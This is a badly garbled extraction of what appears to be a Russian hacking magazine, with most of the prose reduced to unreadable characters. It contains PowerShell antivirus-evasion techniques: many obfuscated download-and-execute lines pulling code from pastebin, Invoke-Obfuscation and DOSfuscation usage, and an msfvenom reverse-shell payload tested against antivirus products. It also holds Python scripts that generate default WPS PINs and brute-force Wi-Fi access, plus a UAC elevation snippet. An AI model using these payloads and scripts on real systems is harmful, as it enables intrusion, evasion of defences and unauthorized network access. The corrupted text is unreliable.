???�???� ?????� ????????�??� ?????�?� ????�??�??� ????�????� ?� ???�???�??
????�?????�??��????�??�??�??�??�??�????.
???�??�????�?�???�?????�?�???�????�???�??�???�?�??�??�??.
WWW
?theHarvester
?serversniff.net
?FOCA
?????
?`?????????????
POWERSHELL
??????燙.
???????????,�???????
???????????
aigulforever@yandex.ru
???�???????�???????
????????�?�???
??????????
?�????�???�???�??�????�????�??�????�??�????,�???�?
???�??� ???????�???� ????�???� ?� ?????�???� ????�???.� ????
???�?????� ?� ????� ?????�???� ????�???� ?????�??� ???�????
Metasploit,� ???�????�?????� RAT� ?� ????�????� ?????� ??????�?
??????�??�???.� ????� ???�???�?� ???????�??!� ????� ??????
??燩owerShell�??�?�???�???�?�??????�??�???�???�????�
??.
???�????�?�??�???�?.�??�?�????�??????
;,,C^Md^,;�,^/^C^燸�",�(�((;,(�(s^Et燸燸燾o^M3=^^�/^^an^o))�)))&&,,(
,S^Et^燸燸cO^m2=^s^^ta^^t)&&(;(;;s^eT^燸燙^oM1^=^n"^^e"t)�)�&&,�((�
c^aLl,^;,S^e^T燸燸爁i^NAl^=^%COm1^%%c^Om2%^%c^oM3^%))&&;�(,�,(
c^AlL^,�,^�%Fi^nAl^%)�)�"
??�????� ?� ??????.� ?� ????� ???� ???�?� ????� ?????�?� netstat� /ano� ???�?
???????�??.� ?� ????� ??????� ??� ???�???�???� ?????�???�?,� ???� ???�??�?
?????�?�?燩owerShell��?????�???,��??�????,�??�?�??�??�??�???�????�
????�?.
WARNING
???�??????�????�??�????�???�?�???�???�???
??�?????.�??�??�???�?????�?????�???�????�
????��???�???�???�??�????.
POWERSHELL��??????
???�??� ?� ???�?????� ?� ?????� PowerShell.� ??????� ????�?� ??� ???�?� ???????�
????�?�??�???�??�?,�??�??????�?????,�??燩owerShell��??�????�???
???�??�?� ?� ???�?????� ?????�????� ????,� ???????� ??????�???�?� ??� ????� ????�
?????�??� ???�????� Windows.� ?� ????� ??� ????�???�??� ??????� ???????�???
?�?????,�??�????�?????�???�???�???�????�???�????�?.�???�?�?????�
???�?�???�???�??�??�??�??????�??,�?�??�?�???????�??�??��??�???
?????� ?????�????�??� ???�??.� ?????�??�?� ???????� ???�??�??�?� ?� ?????�
????�?�??�?????�燩owerShell.�??�?燩owerShell�??�?�???????�?�??�??
?????�??��??�??�.bat,�.doc,�.xls,�.ppt,�.hta,�.exe,�.dll.
?� ???????� PowerShell� ???�?� ???�?????� ???� ??� ???????�?� (?� ???�???,
?� pastebin.com)� ???� ???�?� ??� ??� ?� ?????????� ???.� ???� ???�?� ??????�???�?
?????�???營nvoke?Expression.�??�??�???�?�??�????�?????�??????.
Invoke?Expression�Command�'C:\directory\script.ps1'
'C:\directory\script.ps1'爘營nvoke?Expression
Invoke?Expression�(New?Object燬ystem.Net.WebClient).DownloadString(
'https://pastebin.com/raw/MKM5QLaP')
???�?� ???�?� ??????�?????� ???????�?� Base64.� ???� ??????� ???�???� ???????�
??????�????�?�燘ase64.
[Convert]::ToBase64String(燵System.Text.Encoding]::Unicode.GetBytes(
'???�??'))
??�??� ???????�???�
?EncodeCommand.
???�?�
?????�
??????�?????�
??�
?�
???????�
powershell�e燫wBlAQALQBQAHIAbwBjGUAcwBzAA==
powershell�enc燫wBlAHALQBQAHIAbwBjAGUAcwBzAA==
powershell�EncodedCommand燫wBAHQALQBAHIAbwBjAGUAcwBzAA==
????� ????� ???�??� ???�??� ?� PowerShell.� ???� ???�???�??� ?� ????�???� ?� ??????
???�??�??�????�??????�??�??�?????�?????�???�??�??�??�???牜??�????�
??�??�?�??�????�?�?燩owerShell��????�????�?�??燱indows�.
??????????燩OWERSHELL.�?????��??????????
???�???� ???????�??� PowerShell� ??� ?????� ??� ?� ????�??,� ???� ???� ???� ??????�
?????� ????� ?� ??� ??????�?� ??� ????�???,� ?� ??� ?� ???????�???� ???�????
?????.�???�??�?�?�?????�??�??????�??????�??.�????�??�???�?????
???�?�??�???�???�????�?:
Invoke?Expression�(New?Object燬ystem.Net.WebClient).DownloadString(
'https://pastebin.com/raw/MKM5QLaP')
INFO
??�????�??��???�?�??????�??�??????�????�
??�??�????�???�??�???.
???� ??????� ???�???�?� ??????� System� ??� ????�?� System.Net.WebClient.
??�????�????�????�?�??�?�??�????,�??�??��??�??�?�.NET�?????燬ys?
tem�????�?????�?.
Invoke?Expression�(New?Object燦et.WebClient).DownloadString('https://
pastebin.com/raw/MKM5QLaP')
???�?????,�??�??�?�??�???�??.燯RL��????�????�?��??�???�?.�??
???�?� ??????� ??� ????�????� ???�???�?� ?� ???�?????� ?� ????�??�???� ??????�
????,��??�??,�??�?????�?????.�??�???�?�??�?????�?????.
Invoke?Expression�(New?Object燦et.WebClient).DownloadString('ht'+'t'+
'ps:'+'//'+'pastebin.com/raw/MKM5QLaP')
??�??�?� ????�???�???� ???�?� ???� ??.� ??????� ???�???�?� ?????� ?????�?� ????�
?????��???�??????�??.
$get�燦ew?Object燦et.Webclient;
Invoke?Expression�$get.DownloadString('ht'+'t'+'ps:'+'//'+'pastebin.
com/raw/MKM5QLaP')
???�??????�??????�???�?��?????�?.�???�???�?.�??�?????�?,�???????
????!� DownloadString,� ?????�??,� ??????�???�?� ??????�?� ???� ???� ???.� ????�
?????�??�燦ew?Object�??�?��燻.
$get�燦ew?Object�"`N`et.`W`ebc`l`i`ent";�
Invoke?Expression�$get."D`o`wn`l`oa`d`Str`in`g"('ht'+'t'+'ps:'+'//'+
'pastebin.com/raw/MKM5QLaP')
???�???�????�?????�?.�??�?�??????�?,�??�??�?�????�???.
???�????�?
?� ???�?� ??� ??????�?????� ??� DownloadString,� ?� ??????� ???�??� ???� ???�????
?????�?� ???� ???�??� ??!� ??????� ???�????� ????�???�???�?� ??????� ????�?
Net.Web?Client:
? DownloadString
? DownloadStringAsync
? DownloadStringTaskAsync
? DownloadFile
? DownloadFileAsync
? DownloadFileTaskAsync
? DownloadData
? DownloadDataAsync
? DownloadDataTaskAsync
? ?�??�??.
???�?�??�?�?????�?????�?燱eb?Client,��??�??�???�?:
? System.Net.WebRequest
? System.Net.HttpWebRequest
? System.Net.FileWebRequest
? System.Net.FtpWebRequest
???�????,�??�??�?�???�????�??�?????�???�?�?????.
IEX�(New?Object燬ystem.IO.StreamReader�([Net.HttpWebRequest]::Create(
"$url").GetResponse().燝etResponseStream())).ReadToEnd();�$readStream
.Close();�$response.Close()
???�??�??�?�???�???.�??????�??�????�?�????�??????.
$reverseCmd��")'PaLQ5MKM/war/moc.nibetsap//:sptth'(gnirtSdaolnwoD.)
tneilCbeW.teN爐cejbO?weN(";
IEX�($reverseCmd[?1..?($reverseCmd.Length)]�Join�'')爘營EX
???�????��????�??�???�?�??�??�??�????.
$cmdWithDelim��"(New?Object燦et.We~~bClient).Downlo~~adString(
'https://pastebin.com/raw/MKM5QLaP')";
IEX�($cmdWithDelim.Split("~~")�Join�'')爘營EX�
???�???�?????.
$cmdWithDelim��"(New?Object燦et.We~~bClient).Downlo~~adString(
'https://pastebin.com/raw/MKM5QLaP')";
IEX�$cmdWithDelim.Replace("~~","")爘營EX
?�??�?�??�?????�???�??�??�??�????.
$c1="(New?Object燦et.We";�$c2="bClient).Downlo";�$c3="adString(
'https://pastebin.com/raw/MKM5QLaP')";�
IEX�($c1,$c2,$c3�Join�'')爘營EX
???�?????,�??�????�??�?�???�???????�??�???.�??�?????�?????�???�
???� ???�?,� ???????� ???????� ???�?????� ?????�??� ???�????� ?� ??????�?????�?
cmd.� ????� ????� ?????� ?????�??�??� ?????� ???�????� ???�??�??� ?????�??
?????� ????�??.� ??� ?� ???� ???� ?????�??� ??????,� ???�??� ???�??�???� ??????
File�燨pen.
???�????�???�?�??????�?
?�????!�?��??��???�???.
???�????�??�??
???�??�??�???�???�???�???��?????�??????��??????�?????� SendKeys
???�???� WscriptShell,� ???????� ???�???�?� ???????� ???�??.� ???�??� ??????�
????�????�?��?????�?????�?�???�???�???�???�??�???.
$wshell�燦ew?Object�ComObject爓script.shell;�
$wshell.run("notepad");
$wshell.AppActivate('Untitled�燦otepad');
Start?Sleep��
$wshell.SendKeys('^o');
Start?Sleep��
$wshell.SendKeys(http://pastebin.com/raw/MKM5QLaP);�
$wshell.SendKeys('~');
Start?Sleep��
$wshell.SendKeys('^a');
$wshell.SendKeys('^c');
???�??�???� ??????� ?� ????�?.� ???�?� ????�???� ????�??�?� ?????�?
?�???????�???�??�??�?.�???�??�?,�??�???�?�?�???�???�?�??
cmd.exe�/c�"set燾md=Write?Host燬UCCESS�Fore燝reen&&燾md�/c爀cho�
%cmd%燸|爌owershell�"�
?� ????�?� ??� ??????�?????� ??� cmd,� ?� ??????� ???�???� ???�????,� ?� ??????�??
???�???燾md�??�?�???????�?爁or?les.燜or?les��??�??�???�??�??�???燱in?
dows�??�??�????��??�???.
??�???�??????爁or?les
???�?� cmd� ???�?� ????????� ??� ???�????,� ?� ?????� ???????�??� %COMSPEC%.
??????�???� PowerShell� ???� ????�?!� ?� ?????�??� ????�?� ???�?� ?� ???�?
??????�?????�???�/.�??�????,�??�??:
powershell.exe�nop�noni�enc
powershell.exe�/nop�/noni�/enc�
??�??�?,� ?????�???� ???�????�?.� ???�?� ???� ???�?� ?????????� ???� ???????�
????�??�?????.�???�???�??�?,�??�???�??�??????�??�??��??�??�????�
??� ????�??� ?????�???� (???�??� PDF� ?� ???�??).� ??� ?� ??� ????� ???� ???�?????
??�??????�??�?�??�??�??�?,�??????�???????�??????�??��??�???�??
??�??.
??????????????�?????????
???�??� ???�??�???� ?� Invoke?Obfuscation.� ???� ????�????� ???� ???????�??
PowerShell,� ???????� ??????�???� ???�??� ??????,� ?� ???� ???�?� ?� ???�?????
?�??�???�??�??�???.�??�???�?� ??�??,�????�???燩owerShell.�?????�??
?� ???�?� ????�???�?,� ????�?� ??????�?� ???????�??,� ????� ????,� ?� ?????�???
???�???�????.
Set?ExecutionPolicy燯nrestricted
Import?Module�.\Invoke?Obfuscation.psd1
Invoke?Obfuscation
????�????營nvoke?Obfuscation
???� ???�???????�???� ????�??�????� ???�?� tutorial.� ???� ???�?????�??
?????� ??????�?????� ???� ??� ??� ?????�?.� ???�?????� ????�??????� ?????
?�???�????�??�??�(???�??�???�???�??�??).
show爋ptions
set爏criptblock營nvoke?Expression�(New?Object燬ystem.Net.WebClient).
DownloadString('https://pastebin.com/raw/MKM5QLaP')
???�???�?�?????�?????�??�?????�??.�?????�?�?????�??��???�???�?.
??�???�??�??????�??
???�?� ???�?� ??????�?????� ?????�?� ?� ASCII,� HEX,� Octal,� Binary,� SecureString
???� BXORencoding.� ???�????� ????�??� ??????�??.� ???�????,� ???�????� ??
?�??????爉sfvenom.
msfvenom�p爓indows/meterpreter/reverse_https�?format爌sh�?out�
xaker.ps1燣HOST=192.168.0.11燣PORT=8080
???�???�?�?????�?????燛NCONDING��????��?????�???�????�??�???.
??�???�??�??????�??�????�??�??�????
???�?�?????�?????�???�?�??�?????�??,� encoding�� compress.�??�????
????�???�?��??�???�???�???�?��??�?????�??.
DOSFUSCATION
???�?????� ???�??�???� ????� ??� ????�?� ?� Invoke?DOSfuscation.� ???�???�?
???,�????�???燩owerShell��??�??��??�?�???�???�?�????�?
Import?Module�.\Invoke?DOSfuscation.psd1
Invoke?DOSfuscation
Invoke?DOSfuscation
???�???�?� ???????�?????� ??� ??� ?????�??� ???�????� ??????�??� msfvenom.
????�????�???�??????�????��?????�???�??????�??????�??.
SET燙OMMANDPATH燾:\xaker.ps1
Forcode
Basic燨bfuscation
??�???�?�???�????�??????�??�????�??�??�????.
??�???�??�??????�??��??????營nvoke?DOSfuscation
???????�??????????
???�???� ???�?� ???�?????,� ???� ?????�???� ????�???�?� ??� ????� ???�????
?�??????�???��??.�??�??�?�????�?????�?????�??�???�???�?:燢asper?
sky,燛set燦OD32,燱indows燚efender.
???�??��??�???燢aspersky.�??�???�?�???�????�??�??�????爉sfven?
om��??�???????�??�???.燢AV�???�?�??�????�?�?�???�?�??�??�????�
???�??�?爔aker.ps1!
??�??�?????�??�??????�????�??�??�?�??�??�?�???�?????�?,��???�
??� ??� ???�???�??�???� ???�????.� ????�?� ???�???????� ??????� ????�???�?
?????�?????�??�??�?�???�?�?�?????�??,�??�??�??�??�???.
??�???�??�燛set燦OD32��??�???�?�??�?��??�?�????�?.�??????�
????�?,�?�?�?�??????�???�???�????�????�??�???.
??�??�????�??�????�??�?????燱indows燚efender.�?�?�??�????�???
???�??� ????� ???� ???????�??� ?� ???�?� ???�??� ???.� ???�??� ????� ?????�????
???�??�?� ?� ??� ???� ???????.� ???�??� ????� ?????�????,� ??� ??� ???�?� ?????�?
???�???�????.
???�???�???�?,� ???� ????� ???�????�?????� ??????� ?� .exe� ?� ???????� ????�
????燩s2exe,�?�??�?�????�??�?�???�???�??�???�???�??.
??????
??�???��???�???�??�????�??�??�???.�???�?�??�??,�?????�???�?�?
????�????� ?� ?????� ???�???�?,� ??� ????�?� ????� ????� ????�?� ???� ???� ??????
??????�??�????�?�??�?.�??�?�????�?�????�??�??燩owerShell�?�??????
??????��??�?????,�?�??�??�?�?�???,�?�??�?.
??�???�???�??????�??�?�?????�??�,�??�??????�??�??�???�???,
???�???� ???,� ???�?� ????�????� ???�?� ??� ???�?????� ??????�??.� ???�????� ???
??????��????�??�??????�??�??�??????�??,�??�???�???�???�??�????
?� ???�???�?????� ????�???�?� ??� ??????� ???????� ??????.� ???�?????�?
???�??� ????????�?� ??????� ???�???�??,� ???� ????�??� ????� ????� ????�???�?.
?�??�?�??�??,�??�???�???�?�???�?�??�?�??�???�?!
INFO
?� ??????� ???� ????� ???�?????� ??????�??�
????????.�??�????�??�?�??!
?????
???
?? ???????!
?????�??????
???�?????燱I?FI�?燩YTHON
??�???,�??�??�???�?�???�????????�???�
???�???�?� ?� Wi?Fi,� ??� ????� ??????,� ?� ????�
???,�??�?�?�?????��???��???�????�?
????�???� ???� ???,� ???�????,� ???�?� ????
??????,�??�?�??�??�?�??�???�???�????�
????�??.� ???�??????� WPS� ???� ???�?
??????�?� ???????� ?� ?� ???� ?� ?� ???�??.
?� ????� ??????� ??� ???�?????,� ???� ??????�
???????�?� ?????�?????� ???�?,� ????�??�??
??� ???�??�??� ????�??�??� ??????�??� WPS
PIN.
?????�???????
Ethical燞acking燖燭hreat
Intelligence
h4ckzard@gmail.com
????�???�??�??�????�??�????�??�??�????�???�???�???燱PS�(Wi?Fi燩ro?
tected� Setup),� ???????� ???�???�?� ??� ?????�?� ????�?????� ???????�??� ??????�
?????� ???�?� ??????�????� ?� ?????�??,� ?????� ????� ???�???�?� ???�??????
?� ???�?� ??????.� ??????�???� ???�??�???�?� ??� ??????�???� ????�??�????�?
???�?燱PS燩IN,�??????�??�???�?�???.�???�??�??�?��??�????.
WARNING
???� ???????�??� ???�??�????�?� ?????�?????�?
?�???�???�???�??�????.�?�????�??,�?�????
??� ?????� ??????�???�????� ??� ?????� ???�?????
????,� ???�????�??� ???????�???� ??� ???�??
??????.�????�??�??�????�??�?????�??�??�???
?� ?????� ???�??�??�??� ?????� ????�???�???
??�?????!
??� ???�?� ???�???�????� ???????� ???�?????�???� ??????� ????�?� ???�??�???�
???�????�??�???�燱PS�??�?�???????�??�?????:
? ???�??�???????�??�??�?�??????�????�??????�??�??�????
? ??�???�??????�??�????�??�????�?????
? ??�????�??�???�?????
? ??�???�??????�??�??�??�?????�??�????????.
?�???�?????�?�???�????�?�?�??�?????�?????�?�???�?.
INFO
???�?� WPS� Pixie� Dust� ???� ??????�?� ????�???,
????�?��????�?�??�????�???�?�??�?????�??
??� ?????�?.� ????�???� ???�???� ?� ??????�??� ????�
???�??� ?????� ?� ???�???�?� ??� ??????� ???� ??????
????��??,��??�?????�???�?????�?�??,�??
???�??????�??�??�?�???????�?�???�??�?????�
??.
??????�????�??????????燩IN
???�?� ??� ??????�?� ??????,� ?� ???� ???� ?????�????� ???????�??� ???�????�??
????�??�??� WPS� PIN� ???� ???�????�?� ???�??�????� ?� ???�??�???�???� ?????
WPS.� WPS� PIN� ???�???� ??� ????�?� ????.� ???� ???�???�???�?� ???� ??????�??
???�??�?,�??�???�?????�??�?�??�???�??�??�???�?????�??��?????�??
???�?????� ???�????.� ???�???�?� ?� ???� MAC� ??????�???,� ???????� ??� ?????
????????�?�?????�???�???�???燘SSID.
INFO
BSSID�(Basic燬ervice燬et營denti?er)��??�???�??
????�?????�??� ???�??�??�??� ????.� ?????�??
BSSID� ???�???�?� ?� ????�??� ??????�???� Ethernet
MAC.
?????????燱PS燩IN�?�??????
???�?�??�????,�??�?????�???�燘SSID.�??�??�???��???�???�??�?????�
???�??�?�??�???.�\_(?)_/?
???�?????��??�??�???�??�??�??�???
???�???�???�????�???�??�??�????�(???�????,燚umpper).
Dumpper�???�??�??�??�??�??�???�?�??��???�??????�??�??�??�
???�????
BSSID�??????:燙4:6E:1F:6A:8D:04.
???�???� ???�?� ????�??????:� ?????�???� ???�???� ?� ??????�?� ?????�???
???�?????� (?� ???� ???�?� ???????�??)� ???�?� ?� ??????,� ???�?� ??????,
???�?????�?�???�??�?�?????�??�????????��??�???�???�??�???�???�?
??????�?� ???�???�????.� ????� ??� ????� ????�??� ????�???,� ??� ????�?� ???�?
�????�???粻 ???� ???�???� ??� ???�??�??� ????�??�???� ???�??�??� ?� ?????�??
????????�????.
????�??????,� ??� ???�?,� ???� ????�???�??� ???�???�??� ?????�??� ???�?
???�???� ??????�???� ????�???� ??????�??� ????????� ??� ???�?????� ????� ?????�
???燤AC?????�?�?????�???:�?bit燩IN�燤AC[7..12].
???�????�????�??�?�???�??�?�?燩ython.
from爉ath爄mport爁loor
MAC��'C46E1F6A8D04'
One�燭wo��(int(MAC,�)�&�FFFFFF)�%�000000
Var1��while燭wo:
燰ar1�+=��(Two�%�)
燭wo�爁loor(Two�/�)
燰ar1�+=燭wo�%�
燭wo�爁loor(Two�/�)
Var2��(One�*�)�+�((10��(Var1�%�))�%�)
Var3�爏tr(int(Var2))
result�燰ar3.zfill(8)
??�???�????� ??????� ?????�?� ?????� ???????� 69829161.� ???�????� ???� ????�
?????�????.
??�????�??燱PS燩IN�???�????�???�??�??�?�(?????�??�?)
??????????��?????????
????�????.� ???� ???�????�?� ????�???�??� ???�???� ???� ???�?????�??� ???�???�
???�??�????�??�???�??�??�???�???:
? Windows��????
? Python��????
? ????�??營DE?
? ??�????�??�????
? ???�??�??�??�???�??燱i?Fi��??�?????�?燱PS牜???�????�
? WpsWin�(???�??��??�??�???�?????燚umpper)?
? IDA�燞ex?Rays燭ool.
???�?,� ???????� ???�??,� ???�?,� ???� ?????�???� ???????� ??????� ???�?� ?????
?� ???�???� ????�??�??�???.� ???�?� ?� ????� ????� ???�?????�?� ?� ?????�?
?????�???�???�?��??�????�?,�???�?????�???�?.
??�???????��??�???�???�??�??�???
???�???�????�?�?�????�?????�?????�??�?????�??:
import燾types,爏ys
if燾types.windll.shell32.IsUserAnAdmin():
爄f燺_name__�=�"__main__":
牋爉ain()
else:
燾types.windll.shell32.ShellExecuteW(None,�"runas",爏ys.executable,�
__file__,燦one,�
??�???�??�????�?�????�???�?????�????�????�??????�?燯AC�(????�????�
???)� ?� ?????�???� ?????� ????� ???�?????,� ???� ???� ???� ?????�????� ??� ???�?
????�??�??�???.
??�?� ?????� ????�??� ??� ?????�????,� ??� ????�?� ???�?� ???�???�?????�?
??????�?�?????�??.
WWW
?pyuac� ?� ???????� ??????� ???� ??????�??� ????
?燱indows
?Bypassing燱indows�燯AC燱ith燩ython��?????
??�?�?�???
?How� to� run� python� script� with� elevated� privilege
on爓indows��??�??�??�???�?燬tack燨ver?ow
??????????
????�?� ???�?� ???????� ????�???� ???�??�?� ???�???�?� MAC?????�?� (??� ???
???�???):
from爉ath爄mport爁loor
def燾hecksum(mac):
爉ac�%=�000000
爒ar��爐emp�爉ac
爓hile爐emp:
牋爒ar�+=��(temp�%�)
牋爐emp�爁loor(temp�/�)
牋爒ar�+=爐emp�%�
牋爐emp�爁loor(temp�/�)
爎eturn�(mac�*�)�+�((10��(var�%�))�%�)
?�??�?�??�???�?�??�???�?????�??�????�??�????????.
???� ??????� ??� ???�??� ???�??� ?????�??�???� ????�??�??,� ?????�?
???????�??�???�???�????�??�?�????�??�?????�?.
def爌in24(BSSID):
爐emp�爄nt(BSSID,16)�&�FFFFFF
爐emp�燾hecksum(temp)
爐emp�爏tr(int(temp))
爎eturn爐emp.zfill(8)
def爌inDLink(BSSID):
爐emp��(int(BSSID,�)�&�FFFFFF)燸�55AA55
爐emp燸=�((temp�&�F)�<�爘�((temp�&�F)�<�爘�((temp�&�F)�
<�)爘�((temp�&�F)�<�)爘�((temp�&�F)�<�)
爐emp�%=�000000
爄f爐emp��00000:
牋爐emp�+=�((temp�%��*�00000)�+�00000
爐emp�燾hecksum(temp)
爐emp�爏tr(int(temp))
爎eturn爐emp.zfill(8)
def爌inDLinkInc1(BSSID):
爐emp�爄nt(BSSID,�)�+�爎eturn爌inDLink(hex(temp))
def爌inASUS(BSSID):
爐emp�爁ormat(int(BSSID,�),�'02x')
爐emp�爏tr(temp).zfill(12)
爒ar�燵int(temp[0:2],�),爄nt(temp[2:4],�),爄nt(temp[4:6],�),�
int(temp[6:8],�),
牋牋int(temp[8:10],�),爄nt(temp[10:12],�)]
爌in�燵]
爁or爄爄n爎ange(7):
牋爌in.append((var[i�%��+爒ar[5])�%�(10��((i�+爒ar[1]�+爒ar[2]�+�
var[3]�+爒ar[4]�+爒ar[5])�%�))
爐emp�爄nt(''.join(str(i)爁or爄爄n爌in))
爐emp�燾hecksum(temp)
爐emp�爏tr(int(temp))
爎eturn爐emp.zfill(8)
???�???�????�?
??�???�???,� ?????� ???�??� ???�?????� ???????�????� ????????.� ?� ????� ???
?�??????燱psWin.�??�??�???�??�???�?�??�??�???�?��??�??�??�??�???�
??� ???�???� ???�???�???� ???�??????� WPS.� ??� ?????� ???????�?� ??� ???????�
?????�??�????�?營DA,�??�??�???�??燩E��????�???.
???�??�??�???�?????�??�?????��??????�???�??�??:
? ???�?� ??????�?????� ????�??�?� ???� ???�??�??�????� ?????� ?????�???
????�??
? ????�???� ????�????� ??� ????????,� ??????�??� ?� ???�??�??� ??????�????
???�??�?????
? ???�??�???燩E��????�??�??????�????????�?�??�??�????��??�???�
????�???.
???�??�??�??�??�???�??????�?�?�???�?�004012A0.
???�???�??�?�????�???�???�?�??�?�?????
???�??� ???�?� ???�?� ??� 0x00403370,� ?� ??????� ?� ???� ??????�??� ???�?
????????�??�???.
????�?�??�????�?????�?�??�??�????��??�??�??�??�??�?�??�???
??�???�??��????�??�???�??�?�??�??�??�????
??�????�?�??�?�????????�????�????��????�??�??�?�??????�?�?????�
???.� ??� ?????�?� ?????� ??� ??????,� ?????�?� ?????�???� ???� ???�?� ??� (?????�
????????�?)�???�?????.
??�?�??�????�?????�???�???�??�??�??�??,�??�??�??�???�??�???.
??�??�??�???�??�??�????
???�??�????牜Edit�燩atch爌rogram�燗ssemble...粻?�??�???�?.
??�?????�??�?�?????�??�???????!
???�??�????�?燱PS
???�??�???� ??????�???� ???� ???.� ?????�???� WpsWin,� ??????�??� ???
???????�?� ???� ???�??�????� ?� ???�???�??� ???�??�??�??� ????,� ???�?� ????
???�???�??�?�????�?????�?�????��??�???�?�?????�??.
import爏ubprocess
import爏ys
from爐ime爄mport爏leep
def爎un_command(cmd):
爌�爏ubprocess.Popen(cmd,爏tdout=subprocess.PIPE,爏tderr=subprocess
.PIPE,爏hell=True)
爁or燣INE爄n爄ter(p.stdout.readline,燽''):
牋爄f燣INE:
牋牋爕ield燣INE
爓hile爌.poll()爄s燦one:
牋爏leep(.1)
爀rr�爌.stderr.read()
爄f爌.returncode�!=�
牋爌rint�(""�+爀rr)
def燾onnect(ESSID,燩IN):
燾md��'WpsWin.exe燗ction=Registrar燛SSID="%s"燩IN=%s'�%�(ESSID,爏tr
(PIN))
爏leep(1)
爁or燣INE爄n爎un_command(cmd):
牋燣INE�燣INE.decode('cp866')
牋爄f�"Asociacion爁allida"爄n燣INE:
牋牋爌rint�("Connection爓ith�%s爃asn't燽een爀stablished!"�%燛SSID)
牋牋爎eturn
牋爀lif�"Pin爄ncorrecto"爄n燣INE:
牋牋爌rint("Pin爄nvalid!")
牋牋爎eturn
牋爀lif�"Wpa燢ey"爄n燣INE:
牋牋爌rint("\nTRUE燩IN燜OUND!\nGetting爐he燱i?Fi爌assword...\n")
牋牋爌rint(LINE)
牋牋爏leep(5)
牋牋爄nput()
牋牋爏ys.exit()
?� ??????�??,� WpsWin� ??� ???�???�?� ????�?????� ???�??� ????�??????� ?????
?�??�??�???燱PS,�??�??�???�?爓ash�燣inux,��??�??,�??�???�???�?????�
??????�??�??�???�????.
import爎e
def爉ain():
爊etwork��爎esults�爎un_command("netsh爓lan爏how爊etworks爉ode=bssid")
爎esults�燵i爁or爄爄n爎esults]
爏sids�燵]
燽ssids�燵]
爁or爈ine爄n爎esults:
牋爈ine�爈ine.decode('cp866')
牋爄f�"BSSID"爄n爈ine:
牋牋燽ssids.append(re.sub('BSSID燵\d]+:',�'',爈ine.strip()).strip())
牋爀lif�"SSID"爄n爈ine:
牋牋爏sids.append(re.sub('SSID燵\d]+:',�'',爈ine.strip()).strip())
爄��爌rint�("Available爓ireless爊etworks燼t爐he爉oment:\n")
爁or爅爄n爏sids:
牋爄�+=�牋爌rint�("%d��%s"�%�(i,爅))
爓hile�(network�=�"")爋r�(int(network)��爋r�(int(network)�爄):
牋爌rint
牋爊etwork�爄nput("\nChoose爐he爓ireless爊etwork��")
爊etwork�爄nt(network)��爉acbssid�燽ssids[network].upper()
爉ac�爉acbssid.replace(":",�"").replace("?",�"").replace("�",�"").
replace(".",�"")
爓ifiname�爏sids[network]
???�???�?燱PS燩IN
???�??�???�?�????�??�??�??�?�??�????�?,��??�????.
燼lgos�燵pin24,爌inDLink,爌inDLinkInc1,爌inASUS]
爁or爄爄n燼lgos:
牋爌in�爄(mac)
牋爌rint�("\nTrying燾onnect爐o�%s爒ia�%s爐echnique爓ith燩IN:�%s"�%�(
wifiname,i.__name__,pin))
牋燾onnect(wifiname,pin)
牋爏leep(3)
????????????�??????
??�??�???� ??????� ??� ???�?????� Windows.� ??????�?� ???�??�??�??� ????.
???�??!
???�?????�?,�?�???�????�?????�?
???�?????�????�?�??�?
??????????????�???
??�?�?�???,�??????�???????,�??????�?�????�?????�???�???�??,�?�??
???�???�?�???�??�??�???�??�????�????.
1.�?�???�???� ???�???� ?� ??????�?????�?� ?????�????� ???�????�?� cmd,
???????�??�???�?燙LI.
2.�??�?????�???�??�??�?????�??�???�?�??�??�??�??�????.
3.�???�???� ???� ???�?????� ????�??�?� ??????�??� WPS� PIN� ?� ???�??� ????�
????�???�??.
4.�?�?????�??�??�?�?�??????��??�??�??�??�??�?�??�???�??�??????
WPS.
5.�??�???� ????�??� ??????�??� ???????� ????�?????,� ???� ???????� ???????
????�????� ???�????�?� (Lock)� ???� ??????�??????� ???�?????�?� ????�????�
?????��??�??�??�??�???.
6.�?�?????�??�????�??�???�??,�??�?�????�??�??�??�??�??????.
??????
???��??�???�?�?????�????:
? +10� ?� ??�?????�?� ????�?� ???�????�?� ???????� ????�???�???�??�???� ????�
??????�???
? ??�???�??�??�??�???�??�??�?????�??�?????????
? ??�???�???�??�???�??�?????�??�??�??�??�?????�??燱PS燩IN?
? ??�???�?�??�??�??�??�???.
??�???�?�??�???,�??�??�???�??�??�?�??�?�?�???�??�??�?���???�
??????�??????�???�??�????�???�???,�??�??�??�?,�??�?????�???.�???
????�?� ?� ?� ?????�??� �??�????�??粻 ???�?� ???�???,� ???� ???� ??????�??
????????� ???� ??????�????� MAC,� ???�????�??� (???� ?????�??�??)� ??� ????�
????,�???�??�????�?????�??��??�??�???�??�???�?.
?????
?????
????????
???�?????�???????
????????�??????????�??�??????
Nik燴erof
xtahi0nix@gmail.com
?� ???�???� ???????????�???,� ?????�???� ???�???�?� ?� ????�?
?????�???�???�?�??�????�???�???�?�???�????�?�????
???�??,�?????�?�?�??�???�?�???�???�?�??�??�???,�???�
?????�?� ???� ???�?.� ?� ????� ????�?� ?� ????????� ???�?� ????�
????.�??�????�????�?�???,�??�??�?�???�??�?�??�?
???????� ?� ????�?� ????�???�?� ?� ???�????� ????� ????.� ?????�
???,� ?� ????�???� ?????�???� ???�??� ????� ???????�?,� ???
??????�???�??�???�?�???.
WARNING
???� ???????�??� ???�??�????�?� ?????�?????�?
?�???�???�???�??�????.�?�????�??,�?�????
??� ?????� ??????�???�????� ??� ?????� ???�?????
????,�??�????�??�?????�??�?�??�??�?????.
?????????
??�????� ???�???�??� ?� ???� ?????�???�??� ?????� ???�??�?� ?????�???�??,
???�??�???,� ???????� ????�?� ???� ?????� ?� ?????�???.� ?� ???�????�??� ????
????????� ???�??� ???�????�???� ???� ????�??�???� ????�??�???� ?� x64� ?� x86,
??�??�?�?��????�???�???.
???�?� ?� ???� ???�??� ????� ???�???????� ????�?????� ???,� ???????� ??????�?
?� ??????� ????.� ?????� ???�?� ????�??�??�?� ???�???�?,� ???�??�?� ????� ??
???????� ??????� zeroday????�????�?� ?� ????� ??� ???� ?????�???� ????�???
???????.� ????????� ???�??�?????� ???:� x64dbg� ?� WinDbg.� ???�??� ????????
??????�?��?????爑ser爉ode,�??�??�????�???�?????�??��?????爇ernel
mode.
x64dbg
x64dbg.com
????� ???�????�??� ????????� ?� ????�?� ???�????� ????????�??� ?� ???�???�
???�??�????燨llyDbg.�??�????�???�??�???�??�???�爔64�爔86,�???�???
???�??�????�??�??�??�????.
x64dbg
?????�????�????�??????
??,�????�????,�?�?�????�????�?????���??�?�??�??�???�??�???�?
